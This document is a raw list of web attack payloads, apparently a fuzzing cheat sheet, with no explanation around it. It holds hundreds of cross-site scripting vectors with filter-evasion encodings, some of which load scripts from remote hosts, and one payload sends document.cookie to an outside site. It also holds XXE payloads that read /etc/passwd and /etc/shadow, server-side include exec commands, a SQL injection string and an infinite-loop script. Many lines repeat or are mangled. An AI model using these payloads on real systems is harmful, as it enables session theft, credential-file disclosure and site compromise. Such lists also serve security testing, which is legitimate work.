<div style="width: expression(document.vulnerable=true);";>
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!--]<script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->

 onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script></b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import 'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="http://www.securitycompass.com/xss.css; REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss=<?import namespace="xss" implementation="http://www.securitycompass.com/xss.htm"><xss:xss>XSS</xss:xss>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js</SCRIPT>'-->
<script a="" SRC="http://www.securitycompass.com/xss.js"></script>
<script ="" SRC="http://www.securitycompass.com/xss.js"></script>
<script a="" '' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a=''" SRC="http://www.securitycompass.com/xss.js"></script>
<script a='`' SRC="http://www.securitycompass.com/xss.js"></script>
<script a="">'" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
"&gt;&lt;BODY onload=#$%&();*~+-_.:;?:@[/|\\]^`=alert("XSS");&gt;
&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
&lt;br style=a:expression(alert())&gt;
&lt;scrscriptipt&gt;alert(1)&lt;/scrscriptipt&gt;
&lt;br size="1"&gt;{alert(&#039;XSS&#039;)}&quot;&gt;
perl -e #&#039;print "&quot;&lt;IMG SRC=java\0script:alert(\&quot;XSS\&quot;)&gt;\&quot;;#&#039; &gt; out
perl -e #&#039;print '\&quot;&lt;SCR\0IPT&gt;alert(\&quot;XSS\&quot;)&lt;/SCR\0IPT&gt;'\&quot;;#&#039; &gt; out
<~/XSS/*-* /STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS/*-* /STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid=%2bdocument.cookie")>
<~/XSS/*-* /STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS STYLE=xss:expression(alert('XSS'))>
```

><script>alert('XSS')</script>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:xpression(alert('XSS'))>
';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83));
';;';!!--<;XSS>:=&{()}>
<;SCRIPT>:alert('XSS');<;/SCRIPT>;
<;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;
<;SCRIPT>:alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
<;BASE HREF=";javascript:alert(';XSS');"/>;
<;BGSOUND SRC=";javascript:alert(';XSS');"/>;
<;BODY BACKGROUND=";javascript:alert(';XSS');"/>;
<;BODY ONLOAD=alert(';XSS');>;
<;DIV STYLE=";background-image: url(javascript:alert(';XSS'));">;
<;DIV STYLE=";background-image: url(javascript:alert(';XSS'));">;
<;DIV STYLE=";width: expression(alert(';XSS'));">;
<;FRAMESET><;FRAME SRC=";javascript:alert(';XSS');">;<;/FRAMESET>;
<;IFRAME SRC=";javascript:alert(';XSS');">;<;/IFRAME>;
<;INPUT TYPE=";IMAGE" SRC=";javascript:alert(';XSS');">;
<;IMG SRC=";javascript:alert(';XSS');">;
<;IMG SRC=javascript:alert(';XSS');>;
<;IMG DYNSRC=";javascript:alert(';XSS');">;
<;IMG LOWSRC=";javascript:alert(';XSS');">;
<;IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
exp/*;XSS STYLE='no\xss:noxss("/*/*");>
<;STYLE>:li {list-style-image: url(";javascript:alert('XSS');");}<;/STYLE>i<;UL>i<;LI>iXSS
<;IMG SRC='vbscript:msgbox("XSS")';>
<;LAYER SRC=";http://ha.ckers.org/scriptlet.html">;<;/LAYER>;
<;IMG SRC=";livescript:[code]">;
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
<;META HTTP-EQUIV="refresh" CONTENT=";0;url=javascript:alert(';XSS');">;
<;META HTTP-EQUIV="refresh" CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmIwdD4K";>;
<;META HTTP-EQUIV="refresh" CONTENT=";0; URL=http://;URL=javascript:alert(';XSS');">;
<;IMG SRC=";mocha:[code]">;
<;OBJECT TYPE=";text/x-scriptlet" DATA=";http://ha.ckers.org/scriptlet.html">;<;/OBJECT>;
<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>i<;param name=url value=javascript:alert(';XSS');>i<;/OBJECT>
<;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess="always">i<;/EMBED>;
a=";get";
b=";URL(";"
c=";javascript:";
d=";alert(';XSS');");";i
eval(a+b+c+d);
<;STYLE TYPE=";text/javascript">i<;/STYLE>:alert(';XSS');<;/STYLE>;
<;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS'))">;
<;XSS STYLE=";xss:xpression(alert(';XSS'))">;
<;STYLE>:;.XSS{background-image:url(";javascript:alert(';XSS');");}<;/STYLE>i<;A CLASS=XSS>i<;/A>;
<;STYLE type=";text/css">i<;BODY{background:url(";javascript:alert(';XSS');");}<;/STYLE>;
<;LINK REL=";stylesheet" HREF=";javascript:alert(';XSS');">;
<;LINK REL=";stylesheet" HREF=";http://ha.ckers.org/xss.css">;
<;STYLE>:@import'
http://ha.ckers.org/xss.css';<;/STYLE>;
<;META HTTP-EQUIV="Link" Content=";<;http://ha.ckers.org/xss.css>; REL=stylesheet">;
<;STYLE>:BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss");}<;/STYLE>;
<;TABLE BACKGROUND=";javascript:alert(';XSS');">i<;/TABLE>;
<;TABLE>i<;TD BACKGROUND=";javascript:alert(';XSS');">i<;/TD>i<;/TABLE>;
<;HTML xmlns:xss>
<;XML ID=I>i<;X>i<;C>i<;![CDATA[<;IMG SRC=";javas]]>i<;![CDATA[cript:alert(';XSS');";>]]>;
<;XML ID=";xss">i<;I>i<;B>i<;IMG SRC=";javas<;!-- -->cript:alert(';XSS');">i<;/B>i<;/I>i<;/XML>;
<;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>i<;/XML>;
<;HTML>i<;BODY>
<;!--[if gte IE 4]>;
<;META HTTP-EQUIV="Set-Cookie" Content=";USERID=<;SCRIPT>:alert(';XSS');<;/SCRIPT>;">;
<;XSS STYLE="behavior: url(http://ha.ckers.org/xss.htm);">;
<;SCRIPT SRC=";http://ha.ckers.org/xss.jpg">i<;/SCRIPT>;
<;!--#exec cmd="/bin/echo '<;SCRIPT SRC=';-->i<;!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js>i<;/SCRIPT>";>;
<;? echo'<SCR)>;
<;BR SIZE=";&{alert(';XSS')}>;
<;IMG SRC=JaVaScRiPt:alert(';XSS');>;
<;IMG SRC=javascript:alert("XSS");>;
<;IMG SRC=`javascript:alert(";RSnake says, ';XSS';");`>;
<;IMG SRC=javascript:alert(String.fromCharCode(88,83,83));>;
<;IMG RC=javascript:alert&#;

```
<;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058
<;DIV STYLE="";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c
<;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x72&;#x74&;#x28&;#x27&
<;HEAD>;<;META HTTP-EQUIV="CONTENT-TYPE"; CONTENT="text/html; charset=UTF-7">; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS'
\";;alert(';XSS');//"
<;/TITLE>;<;SCRIPT>:alert("XSS");<;/SCRIPT>;
<;STYLE>:@im\port' ;\ja\vasc\ript:alert (";XSS");';<;/STYLE>;
<;IMG SRC=";jav&#x09;ascript:alert(';XSS');";>
<;IMG SRC=";jav&#x09;ascript:alert(';XSS');";>
<;IMG SRC=";jav&#x0A;ascript:alert(';XSS');";>
<;IMG SRC=";jav&#x0D;ascript:alert(';XSS');";>
<;IMG&#x0D;SRC=&;#x0D;"&;#x0D;j&;#x0D;a&;#x0D;v&;#x0D;a&;#x0D;s&;#x0D;r&;#x0D;i&;#x0D;p&;#x0D;t&;#x0D;:&;#x0D;a&;#x0D;
perl -e 'print ";<;IM SRC=java\0script:alert(";XSS");>";';> out
perl -e 'print ";&;<;SCR\0IPT>:alert(";XSS");<;/SCR\0IPT>";';> out
<;IMG SRC="; &#14; javascript:alert(';XSS');";>
<;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;BODY onload!#$%&()*)~+-_,:;:@[|]\^~=alert(";XSS");>
<;SCRIPT SRC=http://ha.ckers.org/xss.js
<;SCRIPT SRC=/ha.ckers.org/.j>;
<;IMG SRC=";javascript:alert(';XSS');";
<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
<;<;SCRIPT>:alert(";XSS");//<;/SCRIPT>;
<;IMG ";"> <;SCRIPT>:alert(";XSS");<;/SCRIPT>";>
<;SCRIPT>a=/XSS/
<;SCRIPT a=""; SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;SCRIPT a=";blah"; '"; SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;SCRIPT "a='';"; SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;SCRIPT a='';` SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;SCRIPT>document.write(";<;SCRI");<;/SCRIPT>PT SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;SCRIPT a="';>"; SRC=";http://ha.ckers.org/xss.js";> <;/SCRIPT>;
<;A HREF=";http://66.102.7.147/";>XSS<;A>;
<;A HREF=";http://%77%77%77%2E%67%6F%67%6C%65%2E%63%6F%6D";>XSS<;A>;
<;A HREF=";http://1113982867/";>XSS<;A>;
<;A HREF=";http://0x42.0x0000066.0x7.0x93/";>XSS<;A>;
<;A HREF=";http://0102.0146.0007.00000223/";>XSS<;A>;
<;A HREF=";h&;#x0A;tt#09;p://6&;#09;6.000146.0x7.147/";>XSS<;A>;
<;A HREF=";//www.google.com/";>XSS<;A>;
<;A HREF=";//google";>XSS<;A>;
<;A HREF=";http://ha.ckers.org@google";>XSS<;A>;
<;A HREF=";http://google:ha.ckers.org";>XSS<;A>;
<;A HREF=";http://google.com/";>XSS<;A>;
<;A HREF=";http://www.google.com./";>XSS<;A>;
<;A HREF=";javascript:document.location='http://www.google.com/'";>XSS<;A>;
<;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>XSS<;A>;
<;script>document.vulnerable=true;<;/script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC=" &#14; javascript:document.vulnerable=true;">
<body onload!#$%&()*)~+-_,:;:@[|]\^~=document.vulnerable=true;>
<<;SCRIPT>document.vulnerable=true;//<<;/SCRIPT>
<script <B>document.vulnerable=true;</script>
<img SRC="javascript:document.vulnerable=true;">
<iframe src="javascript:document.vulnerable=true; <
<script>a=/XSS/\ndocument.vulnerable=true;</script>
\";document.vulnerable=true;///
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
```

```
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1; javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port \ja\vasc\ript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='no\xss:noxss ("*/*")/xss:ex/*XSS//**/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;"/>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true><!-->
<XML ID=I><X><C><! [<IMG SRC="javas]><![script:document.vulnerable=true;">]</C></X></xml><SPAN DATAsrc="#I DATAfld=C DATA=">
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATAsrc="#xss" DATAfld=">
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#defa
<? echo ('<SCR' :echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">


<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">


<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;); ">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;); ">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!-- ]<script>document.vulnerable=true;///--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->

 onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script></b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import 'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="http://www.securitycompass.com/xss.css; REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss=<?import namespace="xss" implementation="http://www.securitycompass.com/xss.htm"><xss:xss>XSS</xss:xss>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js</SCRIPT>'-->
<script a="" SRC="http://www.securitycompass.com/xss.js"></script>
<script ="" SRC="http://www.securitycompass.com/xss.js"></script>
<script a="" '' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a=''" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=`` SRC="http://www.securitycompass.com/xss.js"></script>
```

```
<script a="">'>" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
";><;BODY onload!#$%&();~+-_.,:?@[/|\]^`=alert("XSS");>;
</script><;script>alert(1)</script>;
</br style=a:expression(alert())>
<;scrscriptipt>alert(1)<;scrscriptipt>;
<br size=\";&{alert('XSS')}\";>
perl -e &#039;print \"<;IMG SRC=java\0script:alert(\";XSS\");>\";:&#039; >; out
perl -e &#039;print \"<;SCR\0IPT>:alert(\";XSS\");<;SCR\0IPT>\";:&#039; >; out
<~/XSS/*-* /STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS/*-* /STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid=%2bdocument.cookie")>
<~/XSS/*-* /STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS STYLE=xss:expression(alert('XSS'))>
"><script>alert('XSS')</script>
</XSS/*-* /STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-* /STYLE=xss:e/**/xpression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:expression(alert('XSS'))>
"><script>alert("XSS")</script>&
"><STYLE>@import "javascript:alert('XSS')";</STYLE>
">>"><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%2
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
'ufflcscrip%ufflealert('XSS')%ufflcscrip%uffle
">
">
' !--<XSS>=&{ () }
<IMG SRC="javascript:alert('XSS')";>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert("XSS<WBR>");>
<IMGSRC=j&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;
<IMGSRC=ja&<WBR>#0000118a&#0000115&<WBR>#0000099r&#0000105&<WBR>#0000112t&#0000
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73;&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&
<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS')";>
<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS')";>
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]>SCRIPT<![CDATA[>]!>alert('gotcha');<![CDATA[<]>/SCRIPT<![CDATA[>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or '=' ]]></foo>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xx SYSTEM "file:///c:/boot.ini">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xx SYSTEM "file:///etc/passwd">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xx SYSTEM "file:///etc/shadow">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xx SYSTEM "file:///dev/random">]>
<script>alert('XSS')</script>
%3cscript%3ealert('XSS')%3c/script%3e
%22%3e%3cscript%3ealert('XSS')%3c/script%3e
<IMG SRC="javascript:alert('XSS')";>
<IMG SRC=javascript:alert("XSS");>
<IMG SRC=javascript:alert('XSS')>

```

```
<marquee onstart='javascript:alert('1');'>=(■_■)=  
<iframe src="http://ha.ckers.org/scriptlet.html"></iframe>  
</script>;<script>alert(1)</script>;
```